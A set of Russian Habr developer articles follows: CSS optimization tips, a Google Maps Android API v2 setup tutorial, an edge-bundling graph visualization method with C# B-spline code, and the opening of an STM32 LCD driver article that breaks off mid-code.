[Pingdom Tools](https://tools.pingdom.com/) и [Lighthouse от Google](https://developers.google.com/web/tools/lighthouse/) — еще два бесплатных инструмента, которые разработчики часто используют для анализа скорости сайта и производительности интерфейса. Pingdom Tools, например, даёт Вам несколько полезных советов по оптимизации CSS, при запуске простого теста скорости вебсайта.

2. Минифицируйте и сжимайте CSS-файлы
-------------------------------------
Большинство вебсайтов используют несколько CSS файлов. Хотя в большинстве случаев использование модульных CSS-файлов считается лучшим решением, загрузка каждого отдельного файла может занимать некоторое время. Но именно по этой причине существуют инструменты для минификации и сжатия CSS. Если Вы используете их с умом, это может значительно сократить время загрузки страницы.
Существуют онлайн-сервисы, такие как [CSS Minify](https://www.cleancss.com/css-minify/), которые позволяют Вам минифицировать CSS-файл просто скопировав его в простую форму. Такой тип сервисов может хорошо работать с небольшими проектами. Тем не менее, их использование может стать обременительным и трудоемким в ситуациях с большими проектами, которые включают множество CSS-файлов. В таких ситуациях лучше отдать предпочтение автоматизированным решениям.
В наши дни, большинство инструментов сборки позволяют выполнять сжатие автоматически. Например, Webpack по умолчанию возвращает все файлы проекта как минифицированный пакет. PostCSS также имеет умные плагины, такие как [CSS Nano](https://cssnano.co/), которые не только минифицируют Ваши файлы, но также производят над ними множество специальных оптимизаций.

3. Используйте Flexbox и CSS Grid
---------------------------------
Если при написании CSS Вы всё еще полагаетесь исключительно на традиционную блочную модель и выравниваете элементы на странице, используя margin, padding и float, Вам следует рассмотреть переход на более современные методы, именуемые [Flexbox](https://onextrapixel.com/a-look-on-whats-coming-up-css3-flexible-boxes/) и [CSS Grid](https://www.developerdrive.com/how-to-create-a-css-grid-step-by-step/). Они позволят Вам реализовывать сложные макеты гораздо меньшим количеством кода.
Используя старые подходы, Вам придется использовать много трюков и ухищрений даже для таких простых вещей, как центрирование элементов по вертикали. Однако, это не относится к Flexbox и CSS Grid. Хотя освоение новых подходов может занять некоторое время, оно стоит того, поскольку размер Ваших CSS-файлов будет намного меньше. Это особенно актуально для Flexbox, который на данный момент имеет очень хорошую поддержку браузерами (98.3% глобально).

Хотя CSS Grid поддерживается браузерами не так хорошо (92.03% глобально), уже можно использовать этот подход, если Вы не должны обеспечивать поддержку старых браузеров или готовы реализовать фолбек.

4. Используйте тег вместо правила `@import`
--------------------------------------------
Существует два основных метода загрузки CSS-файлов на веб-страницу:
1. добавить в раздел HTML-страницы, используя тег
2. импортировать из других таблиц стилей, используя CSS-объявление `@import`
Вам необходимо добавить объявление `@import` в начало основного файла CSS. В большинстве случаев, этот подход используется для загрузки небольших ресурсов, таких как шрифты и другие элементы дизайна. На первый взгляд, это может выглядеть хорошим решением, однако, браузеру требуется гораздо больше времени для загрузки дополнительных таблиц стилей, чем в ситуации, когда HTML-страница загружает их напрямую, используя тег .
Когда Вы добавляете более одного CSS-файла на HTML-страницу, всегда учитывайте специфичность в CSS. Начинайте с общей таблицы стилей, а затем указывайте более специфичные. Вам нужно следовать этому принципу, потому что таблицы стилей, добавленные позже, переопределяют правила предыдущих CSS-файлов. Пример, когда CSS-файлы добавляются в правильном порядке:
```
```
5. Используйте градиенты и SVG вместо изображений
-------------------------------------------------
Загрузка всех изображений на веб-странице может отнимать много времени. Для сокращения этого времени, разработчики используют множество методов оптимизации изображений, таких как загрузка изображений из внешнего CDN или использование инструментов сжатия изображений, таких как [TinyJPG](https://tinyjpg.com/). Эти решения могут существенно помочь, однако в некоторых ситуациях использование ресурсоёмких JPG и PNG изображений можно заменить CSS-эффектами.
Например, Вы можете использовать градиенты вместо огромных фоновых изображений, которые могут немного замедлить работу браузера посетителя Вашей страницы. Можно использовать градиентные функции CSS для создания линейных, радиальных и повторяющихся градиентов. С помощью этих встроенных в CSS функций Вы можете задавать не только цвета, но также и угол градиента.
Следующее правило, например, создаёт красивый градиентный фон, который загружается намного быстрее, чем любые изображения:
```
div {
background: linear-gradient(45deg, lightgreen, royalblue);
}
```
Для более сложных градиентов и текстур, Вы также можете использовать генераторы, такие как [CSSmatic](https://www.cssmatic.com/gradient-generator) (на изображении ниже) и [ColorZilla](https://www.colorzilla.com/gradient-editor/)

Помимо градиентов, традиционные JPG и PNG изображения Вы также можете можете заменить масштабируемой векторной графикой (SVG). Она не только быстрее загружается, но также Вам требуется загрузить лишь одну версию изображения. Это обусловлено тем, что SVG-изображение может масштабироваться до любых размеров без потери качества в связи с его векторной природой. Кроме того, Вы также можете стилизовать SVG с помощью CSS, как обычный HTML-файл.
6. Избегайте правила !important
-------------------------------
Хотя правило [!important](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#The_!important_exception) может быть настоящей находкой в определенных ситуациях, его следует использовать только в крайнем случае. Это правило создаёт исключение из каскада. То есть, когда Вы добавляете !important в CSS-объявление, оно переопределяет любые другие объявления, даже те, которые имеют большую специфичность. Вот как выглядит его синтаксис:
```
h1 {
margin-bottom: 20px !important;
}
```
Если в CSS присутствует много правил !important, браузер пользователя должен будет проводить дополнительные проверки в коде, что может дополнительно замедлить страницу. Хорошим тоном считается никогда не использовать !important для всего сайта или при создании темы или плагина. Если есть возможность, используйте это правило только в ситуациях, когда хотите переопределить CSS из сторонней библиотеки.
7. Рефакторинг CSS
------------------
Хотя рефакторинг CSS редко бывает легкой задачей, зачастую это может значительно повысить производительность веб-сайта. Например, когда Ваши CSS-файлы слишком большие, или Вам досталась устаревшая кодовая база, или у Вас очень плохое время загрузки страницы, что серьезно вредит Вашей конверсии. Цель рефакторинга CSS — сделать Ваш код более изящным, легко поддерживаемым и быстрее загружаемым.
Рефакторинг CSS — это многоступенчатый процесс, в ходе которого Вам нужно проанализировать каждый аспект Вашего CSS кода. Вам нужно проверить следующие моменты:
* присутствуют ли неиспользуемые или дублирующие CSS-правила или ресурсы
* возможно ли использование более современных техник, таких как Flexbox и CSS Grid
* не используется ли слишком много специфичности (посчитать это можно с помощью [визуального калькулятора специфичности](https://specificity.keegan.st/))
* грамотно ли организована структура CSS-файлов (например, легче поддерживать меньшие файлы, чем большИе)
* стоит ли начать использовать инструменты автоматической сборки
* и многое другое.
Прежде чем приступить к рефакторингу, установите измеримые цели и выберите критерии, по которым будете ориентироваться, такие как скорость загрузки страницы или время первого отрисованного содержимого, чтобы Вы могли сравнить их значения до и после.
Также не забудьте использовать систему контроля версий, такую как Git. В этом случае, если что-то пойдет не так, Вы сможете вернуться к предыдущей версии кода.
Подводя итоги
-------------
Существует множество советов по оптимизации CSS, которые можно использовать для повышения производительности Вашего веб-сайта. Большинство из них просты в реализации, но могут существенно повлиять на время загрузки Вашей страницы. Более быстрая загрузка страниц не только повышает удобство использования, но также помогает улучшить позиции в Google и другие поисковых системах.
Кроме лучших практик оптимизации CSS, Вы можете использовать и другие техники ускорения загрузки, такие как кэширование, Google AMP и HTTPS протокол. Если Вы хотите узнать о них больше, можете также ознакомиться с нашей статьей [10-step guide to improve website loading speed](https://onextrapixel.com/improving-website-loading-speed/). | https://habr.com/ru/post/459878/ | null | ru | null |
# Пробуем на вкус API v2 карт под Android от Google
И на нашей улице переворачиваются грузовики с ~~печеньками~~ мороженым и мармеладками! Как уже было [сказано](http://www.google.com/url?q=http%3A%2F%2Fhabrahabr.ru%2Fpost%2F161247%2F&sa=D&sntz=1&usg=AFQjCNEFwVkvZxmxJ-lzndWFS3gOUUvUTA), вышла новая версия API. И даже вкратце было рассказано, что же там есть новенького. Я, пока, не могу раскрыть всех улучшений, с точки зрения разработчика. Но некоторые особые плюсы разработки приложений, использующих карты, готов выделить.
Первое, и самое, наверное, вкусное — теперь можно во всю использовать fragment’ы, вместо MapView. Для этого достаточно вставить следующий код в разметку:
```
```
Во-вторых стало гораздо удобней работать с пинами. Правда, теперь нужно привыкнуть к тому, что они называются маркерами, и будет гораздо удобней. Теперь не нужно городить ItemizedOverlay, и тому подобное. Теперь достаточно просто выполнить метод [addMarker(MarkerOptions options)](https://developers.google.com/maps/documentation/android/reference/com/google/android/gms/maps/GoogleMap#addMarker(com.google.android.gms.maps.model.MarkerOptions)) с нужными параметрами, и маркер будет красоваться на указанной позиции.
Третий плюс — стало совсем удобно рисовать на карте объекты, которые без проблем будут зумиться и скролиться вместе с картой, без единой заморочки! Достаточно просто добавить фигуру(метод [addPolygon(PolygonOptions options)](https://developers.google.com/maps/documentation/android/reference/com/google/android/gms/maps/GoogleMap#addPolygon(com.google.android.gms.maps.model.PolygonOptions))) или линию(метод [addPolyline(PolylineOptions options)](https://developers.google.com/maps/documentation/android/reference/com/google/android/gms/maps/GoogleMap#addPolyline(com.google.android.gms.maps.model.PolylineOptions))) на карту, и всё. Это значит, что теперь без проблем можно закрасить страну, город, район… Свою машину?) Да всё, что угодно!
В глаза мне бросились следующие минусы:
1. Теперь, для работы с картами, у пользователя обязательно должно быть установлено приложение «Карты» от самого Google. В противном случае в лог выплёвывается ошибка, что «Google Maps application is missing». Но приложение не говорит об этом пользователю, что может его разозлить. Наверное, можно сделать костыль, но жаль, что его нет сразу. PS: у меня стоит CyanogenMod на девайсе, так и поймал ошибку.
2. Так же не получится обойтись без приложения “Сервисы Google Play”. Правда, об этой проблеме пользователю будет сообщено.., но не в очень красивой форме. Пока не искал пути, как можно сделать это сообщение более симпатичным.
3. Кажется, что переезд на новую версию API будет неоправдано трудозатратен, что немного удручает. Особенно, если уже сделано много, но ещё предстоит не мало работы, а новые фишки как раз то, что нужно.
4. Конечно, для кого-то может оказаться критичным то, что совместимо только с Android 2.2+
Не отпугнуло? Тогда приступим к запуску нашего первого примера.
Для начала нам необходимо установить/обновить Google Play services SDK. Для этого нужно сделать следующее:
* Запустить Android SDK Manager
* Выбрать для установки пункт “Extras” → “Google Play services”
* Нажать кнопку “Install packages”
После того, как установка завершена, по адресу /extras/google/google\_play\_services можно найти папки libproject/google-play-services\_lib и samples/maps. Из содержимого первой папки нужно сделать модуль, который затем будем подключать к проекту. А из второй — как раз пример приложения по работе с картами. Советую сперва скопировать эти папки в директорию, где у вас лежат проекты, и уже там над ними работать, чтоб в SDK всегда лежала чистая копия библиотеки с примерами.
К сожалению, подсказать, как всё это проверуть в Eclipse я не могу. А вот шпаргалку, как это сделать в Intellij Idea приведу.
**Разворачивание проекта примера в Intellij Idea** * File → New Project...
* Create project from existing sources → Next
* Устанавливаем в Project files location полный путь до samples/maps и жмём Next, Next...
* File → Project Structure → Modules → Module SDK: Android 4.2 Google APIs → OK
* В google-play-services\_lib/src создаём файл com/google/Hack.java с примерно таким содержимым:
```
package com.google;
public class Hack {
// Empty class to ensure there is a src folder.
}
```
Он необходим, чтоб Idea нормально создала из этой директории модуль
* В папку google-play-services\_lib/libs копируем android-support-v4.jar. Он потребуется для совместимости со старыми версиями Android
* File → Project Structure → Modules → “Плюсик” над второй колонкой → Module
* Create module from existing sources → Указываем путь до google-play-services\_lib → Next, Next...
* Справа нажимаем “Плюсик” → Jars or directories → google-play-services\_lib/libs → Ok
* Ставим галочку возле появившейся строки в списке
* Во второй колонке выбираем другой модуль(соответственно, проект) → “Плюсик” справа → Module Dependency… → OK → OK
Проблемы при запуске случались, но были довольно мелкими.
Чтобы заработали карты остаётся получить новый API\_KEY — старый теперь не подходит. Позволю себе более детально описать этот процес, который вкратце ув. [djvu](https://habrahabr.ru/users/djvu/) объяснил [здесь](http://habrahabr.ru/post/161247/#comment_5534755):
1. [Создаем](https://developers.google.com/maps/documentation/android/start#the_google_maps_api_key) SHA1 отпечаток со своего дебажного или релизного ключа
2. Идем в [консоль](https://code.google.com/apis/console/)
3. Create project… → Вводим название проекта, например “Google Maps Android API v2 test project”
4. Переключатель Google Maps Android API v2 переводим с состояния “off” на “оn”
5. Соглашаемся с “terms”(иначе прощаемся с Google Maps Android API v2).
6. В левом навбаре идем в меню API Access и жмём кнопку “Create new Android key...”, расположенную снизу.
7. Вводим “;<имя пакета>”. В моём случае имя пакета было com.example.mapdemo. Если не уверены в названии вашего пакета, то можете легко подсмотреть его в файле AndroidManiffest.xml, созданном при создании приложения, в первом теге manifest, значение атрибута package.
8. Жмём кнопку Create.
9. Полученный ключик вставляем в AndroidManifest.xml
```
```
10. Запускаемся!
В полученном приложении будет очень много чего интересного, советую изучить максимально досканально.
PS: вся основная документация по новому API собрана [здесь](https://developers.google.com/maps/documentation/android/).
Легкого и удачного геокодинга вам! | https://habr.com/ru/post/161457/ | null | ru | null |
# Визуализация графов. Метод связывания ребер
Иногда полезно представить граф в графической форме, так чтобы была видна структура. Можно привести десятки примеров, где это может пригодиться: визуализация иерархии классов и пакетов исходного кода какой-нибудь программы, визуализация социального графа (тот же Twitter или Facebook) или графа цитирования (какие публикации на кого ссылаются) и т.д. Но вот незадача: количество ребер в графе зачастую настолько велико, что нарисованный граф просто невозможно разобрать. Взгляните на эту картинку:

Это граф зависимостей некой программной системы. Он представляет собой дерево разбиения на пакеты (серые шарики — пакеты, белые — классы), на которое поверх наложены ребра зависимости одних классов от других. Чтобы не рисовать стрелки направления, ребра нарисованы в виде градиентных линий, где зеленый — это начало, а красный — конец ребра. Как видите, граф настолько визуально перегружен, что архитектуру программы невозможно проследить.
Под катом описание метода, решающего эту проблему.
Описание метода
---------------
Идея метода гениально проста — почему бы не использовать тот же принцип, что и в кабельных сетях? Многие из нас знают, какой бардак начинается, когда проводов становится слишком много. Для того, чтобы это бардак предотвратить, провода объединяют в жгуты.
Как эту идею применить к графам и реализовать алгоритмически?
Рассмотрим пример рисования одного ребра на примере. Необходимо провести ребро из вершины P0 в вершину P4:

Найдем путь между этими вершинами:

Теперь проведем кривую через полигон, образованный точками P0, P1, P2, P3, P4:

Собственно, а как это сделать? Авторы этого метода проанализировали, что лучше всего для целей визуализации в качестве кривых подходят кусочно-заданные кубические [B-сплайны](http://ru.wikipedia.org/wiki/B-%D1%81%D0%BF%D0%BB%D0%B0%D0%B9%D0%BD). Задача нахождения таких B-сплайнов является классической и давным давно решена другими. Вкратце лишь скажу, что кубический B-сплайн — это просто набор кривых третьего порядка в двухмерном пространстве, для которых выполняется условия сшивки первых и вторых производных на краях. Если кому-то захочется реализовать этот метод, не изобретайте велосипед — в конце я выложил работающий код отрисовки ребер на C#.
Для того, чтобы управлять степенью связанности ребер, вводится параметр β, который принимает значения от 0 до 1 (0 — ребра не связаны в жгут и представляют собой независимые прямые линии, 1 — ребра максимально связаны друг с другом). Математически это выглядит так:

S(t) — это точки сплайна, S'(t) — это результирующая кривая, которая и отрисовывается на экран в виде ребра.
Ну и вот результат того, во что вся эта математика выливается:

Здесь β = 0.85. Теперь архитектрура программы представляется значительно яснее. Видны отдельные связки ребер, проглядываются зависимости между пакетами.
Тот же граф, только используется радиальный способ визуализации архитектуры (без применения метода, эквивалентно β = 0):

С применением метода (β = 0.85):

Как видно, метод связывания ребер можно сочитать с различными методами рисования деревьев: в этом его большое преимущество.
Другие примеры
--------------
Граф цитирования публикаций. Зеленый круг — это публикации 2008 года, которые ссылаются на публикации предыдущих годов (2007, 2006 и т.д.). Отмечаются только ссылки публикаций 2008 года. Без применения метода это выглядит так:

С применением метода (β = 0.99):

Замечания
---------
1. Чтобы не было вот такого:

можно использовать альфа-канал:

2. Если из контрольного полигона удалить вершину LCA (least common ancestor, наименьший общий предок между соединяемыми вершинами), то граф будет выглядеть значительно лучше. Взгляните на разницу:
 
Во втором случае вершина LCA исключается из набора вершин, и граф выглядит намного красивее.
Реализация на C#
----------------
Ниже выложена реализация класса-расширения System.Drawing.Graphics, который умеет рисовать кубический Б-сплайн через набор вершин.
> `using System;
>
> using System.Text;
>
> using System.Drawing;
>
>
>
> static class GraphicsExtension
>
> {
>
> private static void DrawCubicCurve(this Graphics graphics, Pen pen, float beta, float step, PointF start, PointF end, float a3, float a2, float a1, float a0, float b3, float b2, float b1, float b0)
>
> {
>
> float xPrev, yPrev;
>
> float xNext, yNext;
>
> bool stop = false;
>
>
>
> xPrev = beta \* a0 + (1 - beta) \* start.X;
>
> yPrev = beta \* b0 + (1 - beta) \* start.Y;
>
>
>
> for (float t = step; ; t += step)
>
> {
>
> if (stop)
>
> break;
>
>
>
> if (t >= 1)
>
> {
>
> stop = true;
>
> t = 1;
>
> }
>
>
>
> xNext = beta \* (a3 \* t \* t \* t + a2 \* t \* t + a1 \* t + a0) + (1 - beta) \* (start.X + (end.X - start.X) \* t);
>
> yNext = beta \* (b3 \* t \* t \* t + b2 \* t \* t + b1 \* t + b0) + (1 - beta) \* (start.Y + (end.Y - start.Y) \* t);
>
>
>
> graphics.DrawLine(pen, xPrev, yPrev, xNext, yNext);
>
>
>
> xPrev = xNext;
>
> yPrev = yNext;
>
> }
>
> }
>
>
>
> ///
>
> /// Draws a B-spline curve through a specified array of Point structures.
>
> ///
>
> /// Pen for line drawing.
>
> /// Array of control points that define the spline.
>
> /// Bundling strength, 0 <= beta <= 1.
>
> /// Step of drawing curve, defines the quality of drawing, 0 < step <= 1
>
> internal static void DrawBSpline(this Graphics graphics, Pen pen, PointF[] points, float beta, float step)
>
> {
>
> if (points == null)
>
> throw new ArgumentNullException("The point array must not be null.");
>
>
>
> if (beta < 0 || beta > 1)
>
> throw new ArgumentException("The bundling strength must be >= 0 and <= 1.");
>
>
>
> if (step <= 0 || step > 1)
>
> throw new ArgumentException("The step must be > 0 and <= 1.");
>
>
>
> if (points.Length <= 1)
>
> return;
>
>
>
> if (points.Length == 2)
>
> {
>
> graphics.DrawLine(pen, points[0], points[1]);
>
> return;
>
> }
>
>
>
> float a3, a2, a1, a0, b3, b2, b1, b0;
>
> float deltaX = (points[points.Length - 1].X - points[0].X) / (points.Length - 1);
>
> float deltaY = (points[points.Length - 1].Y - points[0].Y) / (points.Length - 1);
>
> PointF start, end;
>
>
>
> {
>
> a0 = points[0].X;
>
> b0 = points[0].Y;
>
>
>
> a1 = points[1].X - points[0].X;
>
> b1 = points[1].Y - points[0].Y;
>
>
>
> a2 = 0;
>
> b2 = 0;
>
>
>
> a3 = (points[0].X - 2 \* points[1].X + points[2].X) / 6;
>
> b3 = (points[0].Y - 2 \* points[1].Y + points[2].Y) / 6;
>
>
>
> start = points[0];
>
> end = new PointF
>
> (
>
> points[0].X + deltaX,
>
> points[0].Y + deltaY
>
> );
>
>
>
> graphics.DrawCubicCurve(pen, beta, step, start, end, a3, a2, a1, a0, b3, b2, b1, b0);
>
> }
>
>
>
> for (int i = 1; i < points.Length - 2; i++)
>
> {
>
> a0 = (points[i - 1].X + 4 \* points[i].X + points[i + 1].X) / 6;
>
> b0 = (points[i - 1].Y + 4 \* points[i].Y + points[i + 1].Y) / 6;
>
>
>
> a1 = (points[i + 1].X - points[i - 1].X) / 2;
>
> b1 = (points[i + 1].Y - points[i - 1].Y) / 2;
>
>
>
> a2 = (points[i - 1].X - 2 \* points[i].X + points[i + 1].X) / 2;
>
> b2 = (points[i - 1].Y - 2 \* points[i].Y + points[i + 1].Y) / 2;
>
>
>
> a3 = (-points[i - 1].X + 3 \* points[i].X - 3 \* points[i + 1].X + points[i + 2].X) / 6;
>
> b3 = (-points[i - 1].Y + 3 \* points[i].Y - 3 \* points[i + 1].Y + points[i + 2].Y) / 6;
>
>
>
> start = new PointF
>
> (
>
> points[0].X + deltaX \* i,
>
> points[0].Y + deltaY \* i
>
> );
>
>
>
> end = new PointF
>
> (
>
> points[0].X + deltaX \* (i + 1),
>
> points[0].Y + deltaY \* (i + 1)
>
> );
>
>
>
> graphics.DrawCubicCurve(pen, beta, step, start, end, a3, a2, a1, a0, b3, b2, b1, b0);
>
> }
>
>
>
> {
>
> a0 = points[points.Length - 1].X;
>
> b0 = points[points.Length - 1].Y;
>
>
>
> a1 = points[points.Length - 2].X - points[points.Length - 1].X;
>
> b1 = points[points.Length - 2].Y - points[points.Length - 1].Y;
>
>
>
> a2 = 0;
>
> b2 = 0;
>
>
>
> a3 = (points[points.Length - 1].X - 2 \* points[points.Length - 2].X + points[points.Length - 3].X) / 6;
>
> b3 = (points[points.Length - 1].Y - 2 \* points[points.Length - 2].Y + points[points.Length - 3].Y) / 6;
>
>
>
> start = points[points.Length - 1];
>
>
>
> end = new PointF
>
> (
>
> points[0].X + deltaX \* (points.Length - 2),
>
> points[0].Y + deltaY \* (points.Length - 2)
>
> );
>
>
>
> graphics.DrawCubicCurve(pen, beta, step, start, end, a3, a2, a1, a0, b3, b2, b1, b0);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Литература
----------
Описанный метод связывания ребер и почти все картинки взяты из статьи «Hierarchical Edge Bundles:
Visualization of Adjacency Relations in Hierarchical Data». Автор — Danny Holten. | https://habr.com/ru/post/116758/ | null | ru | null |
# STM32, C++ и FreeRTOS. Разработка с нуля. Часть 3 (LCD и Экраны)
#### Введение
В двух предыдущих частях [STM32, C++ и FreeRTOS. Разработка с нуля. Часть 1](http://habrahabr.ru/post/261807//) и [STM32, C++ и FreeRTOS. Разработка с нуля. Часть 2](http://habrahabr.ru/post/261823/) мною уже были реализованы требования SR0, SR7, SR4 и SR6. Опять нужно вспомнить, какие вообще требования есть.
SR0: Устройство должно измерять три параметра (иметь три переменных): Температуру микропроцессора, Напряжение VDDA, Напряжение с переменного резистора
SR1: Устройство должно выводить значение этих переменных на **индикатор**.
SR2: Единицы измерения для Температуры микропроцессора — градусы Цельсия, для остальных параметров — вольты.
SR3: При нажатии на **кнопку 1**, на **индикаторе** должен показываться экран со следующей измеряемой переменной,
SR4: При нажатии на **кнопку 1** **Светодиод 1** должен изменять свое состояние
SR5: При нажатии на **кнопку 2**, на **индикаторе** должен поменяться режим отображения переменных с постоянного показывания переменной на последовательное (менять экраны раз в 1.5 секунды) при следующем нажатии с последовательного на постоянное,
SR6: При нажатии на **кнопку 2** **светодиод 2** должен менять свое состояние.
SR7: **Светодиод 3** должен моргать раз в 1 секунду.
Значит остались самые «вкусные» требования связанные c отображением всей измеренной информации на индикаторе: SR1, SR2, SR3, SR5. Ну что же начнем.
#### Разработка: драйвер индикатора
Начну с драйвера индикатора. Помнится (все тот же пресловутый проект 8-летней давности), я уже писал вывод на индикатор и особо проблем у меня это не вызвало, однако то был простой микроконтроллер, а тут целый «процессор» с кучей настроек. Хорошо, что существует множество подробных статей, как правильно настроить драйвер индикатора и иже с ним. Например публикация [HallEffect](https://habrahabr.ru/users/halleffect/) [Работа с ЖК индикатором на отладочной плате STM32L-Discovery](http://habrahabr.ru/post/173709/), плюс я поковырялся в исходниках демо проекта для платы Olimex, ну и конечно же прочитал документацию, дабы сразу понять все «хитрости» современных микроконтроллеров. И это дало свои плоды — я познакомился с такой замечательной вещью, как Bit Banding, очень доступно это описано тут: [Что такое Bit Banding на примере stm32](http://blablacode.ru/%D0%BC%D0%B8%D0%BA%D1%80%D0%BE%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%BB%D0%B5%D1%80%D1%8B/%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-bit-banding-%D0%BD%D0%B0-%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B5-stm32.html).
Подняв технический скилс, я сел за очередное рисование, описывать класс драйвера cLcdDriver. Для начала посмотрим как выглядит индикатор:
.
Как видно в нем 2 строки маленькая (верхняя) и БОЛЬШАЯ нижняя и еще куча всяких сегментов, которые мне нужны. Также я решил использовать только нижнюю БОЛЬШУЮ строку. Её будет достаточно, чтобы вывести значение переменных и единицы измерения. Ну вот и определились, с тем куда и что выводить, и после рисования получился класс:

Теперь настало время реализации. Для начала нужно было настроить кучу портов, а именно 47 :) на альтернативную функцию LCD. Но я упорный, также пришлось переключить тактирование LCD на источник от внешнего генератора, потому что от внутреннего у меня при отладке через раз он не работал. Все это было впихнуто в \_\_low\_level\_init().
**настройка индикатора в \_\_low\_level\_init**
```
/Переключаем тактирование LCD на внешний НЧ генератор, а то че-то
//от внутрннего иногда глючит
RCC->CSR |= RCC_CSR_RTCRST;
RCC->CSR &= ~RCC_CSR_RTCRST;
RCC->CSR |= RCC_CSR_LSEON;
while(!(RCC->CSR&RCC_CSR_LSERDY))
{
}
RCC->CSR |= RCC_CSR_RTCSEL_LSE;
//настраиваем порты индикатора
//Настраиваем PA.08 на LCD COM0
//РА.08 на альтернативную функцию см. стр 174. CD00240194.pdf
GPIOA->MODER |= GPIO_MODER_MODER8_1;
//PA.08 на LCD СОМ0, см стр.189 CD00240194.pdf
GPIOA->AFR[1]|= GPIO_AF_LCD;
//Настраиваем PA.09 на LCD COM1
//РА.09 на альтернативную функцию см. стр 174,189 CD00240194.pdf
GPIOA->MODER |= GPIO_MODER_MODER9_1;
GPIOA->AFR[1] |= GPIO_AF_LCD << PIN9_SHIFT;
//Настраиваем PA.10 на LCD COM2
//РА.10 на альтернативную функцию см. стр 174,189 CD00240194.pdf
GPIOA->MODER |= GPIO_MODER_MODER10_1;
GPIOA->AFR[1] |= GPIO_AF_LCD << PIN10_SHIFT;
//Настраиваем PB.09 на LCD COM3
//РB.09 на альтернативную функцию см. стр 174,189 CD00240194.pdf
GPIOB->MODER |= GPIO_MODER_MODER9_1;
GPIOB->AFR[1] |= GPIO_AF_LCD << PIN9_SHIFT;
//Настраиваем PA.01 на LCD SEG0
//РА.01 на альтернативную функцию см. стр 174,189 CD00240194.pdf
GPIOA->MODER |= GPIO_MODER_MODER1_1;
GPIOA->AFR[0] |= GPIO_AF_LCD << PIN1_SHIFT;
//Настраиваем PA.02 на LCD SEG1
//РА.02 на альтернативную функцию см. стр 174189 CD00240194.pdf
GPIOA->MODER |= GPIO_MODER_MODER2_1;
GPIOA->AFR[0] |= GPIO_AF_LCD << PIN2_SHIFT;
...
//Настраиваем PD.02 на LCD SEG43
//РD.02 на альтернативную функцию см. стр 174,189 CD00240194.pdf
GPIOD->MODER |= GPIO_MODER_MODER2_1;
GPIOD->AFR[0] |= GPIO_AF_LCD << PIN2_SHIFT;
//Настройка LCD: DUTY = 1/4, BIAS=1/4, MUX_SEG = disable
//VSEL = 0 (внутренний источник питания)
//PRESCALLER= 1/2, DIVIDER = ck_ps/20, BLINK =0, BLINKF=0, CC=VLCD4, DEAD = 0
//PON = 3, UDDIE = 0,SOFIE = 0, HD = 0, см. стр 377-378 CD00240194.pdf
//DUTY 1/4
// Прескаллер на 1/2, делитель на 20 см стр 378. CD00240194.pdf
LCD->FCR = LCD_FCR_PS_1 | (LCD_FCR_DIV_0 | LCD_FCR_DIV_2) | (LCD_FCR_PON_0 | LCD_FCR_PON_1) | LCD_FCR_CC_2 | LCD_FCR_CC_1;
// Ожидание пока установится регистр FCR
while (!(LCD->SR & LCD_SR_FCRSR ))
{
}
LCD->CR |= (LCD_CR_DUTY_1 | LCD_CR_DUTY_0);
//Активируем дисплей
LCD->CR |= LCD_CR_LCDEN;
```
Идем дальше, аппаратный встроенный в микроконтроллер драйвер индикатора имеет свою RAM, нужно писать в неё, а потом разом выводить на индикатор. Тут на помощь, и пришел Bit Banding, который позволил создать pTableSegs массив из 166 элементов (по количеству сегментов индикатора) укзателей на адреса tU32 ячеек — являющихся отображением битов в регистрах RAM. Установка 1 или 0 в такую tU32 ячейку автоматически устанавливает или сбрасывает бит в регистре RAM, на который она смапирована. Адреса этих ячеек высчитываются по мудренной формуле, взятой мною из документации и демопроекта.
```
/ Используем BitBanding см. стр 49. CD00240194.pdf
#define SEG_MASK(seg) (seg & (32-1))
#define SEG_EL(seg,com) (volatile tU32 *)(PERIPH_BASE + 0x2000000 + ((0x2400 + 0x14 + ((com*2) + ((seg<32)?0:1))*4)*32) + SEG_MASK(seg)*4))
//таблица с адресами для bitBandinga для каждого сегмента
volatile tU32* cLcdDriver::pTableSegs[] =
{
SEG_EL(39,3), // + 0
SEG_EL(39,0), // - 1
SEG_EL(37,3), // 1A 2
SEG_EL(37,2), // 1B 3
SEG_EL(37,1), // 1C 4
SEG_EL(37,0), // 1D 5
SEG_EL(39,1), // 1E 6
SEG_EL(39,2), // 1F 7
...
SEG_EL(5 ,1), // 11F 165
SEG_EL(4 ,1), // 11G 166
};
```
Дальше все уже было дело техники. Сегменты БОЛЬШОЙ СТРОКИ составлены вот так:
```
// Сегменты больших символов на нижней(Большой) строке
// _______a_______
// |\ | /|
// f h j k b |col
// | \ | / |
// |___g__\ /__m___|
// | / \ | |
// e q p n c
// | / | \ |
// |/______d______\| |dp
#define SEG_A ((tU32)1<<0)
#define SEG_B ((tU32)1<<1)
#define SEG_C ((tU32)1<<2)
...
#define SEG_DP ((tU32)1<<14)
#define SEG_COL ((tU32)1<<15)
```
Соотвественно чтобы вывести скажем букву С, нужно зажечь a,d,e,f сегменты поэтому С выглядит вот так:
```
#define Symbol_C (SEG_A | SEG_D | SEG_E | SEG_F)
```
Еще немного пришлось повозиться с точкой, чтобы выводить её в то же место куда выводится цифра. Ну вобщем, после довольно продолжительной и нудной работы вышла вот такая портянка:
**lcddriver.h**
```
#include "types.h" //Стандартные типы проекта tU32, tBoolean
class cLcdDriver
{
public:
explicit cLcdDriver(void);
void showBigString(const char* pStr);
private:
void updateDisplay(void);
tBoolean isReady(void);
void showBigSymbol(const tU32 digitPlace, const char character, const tBoolean bDot);
static volatile tU32* pTableSegs[];
static const tU32 charToLcdSymbol[];
static const tU32 bigDigitOffset[];
};
```
**lcddriver.cpp**
```
#include "lcddriver.h" // Определение класса
#include //Регистры STM32
#include "susuassert.h" //для ASSERT
#include "types.h" //для типов tPort, tU16, tU8
#include "bitutil.h" //для макросов работы с битами SETBIT, CLRBIT
#include //для NULL
#define BIG\_SYMBOLS\_COUNT 7 //количество символов в нижней(большой) строке
// Используем BitBanding см. стр 49. CD00240194.pdf
// доп инфа тут: https://plus.google.com/115316880241890152471/posts/M7tzhpQiC9M
#define SEG\_MASK(seg) (seg & (32-1))
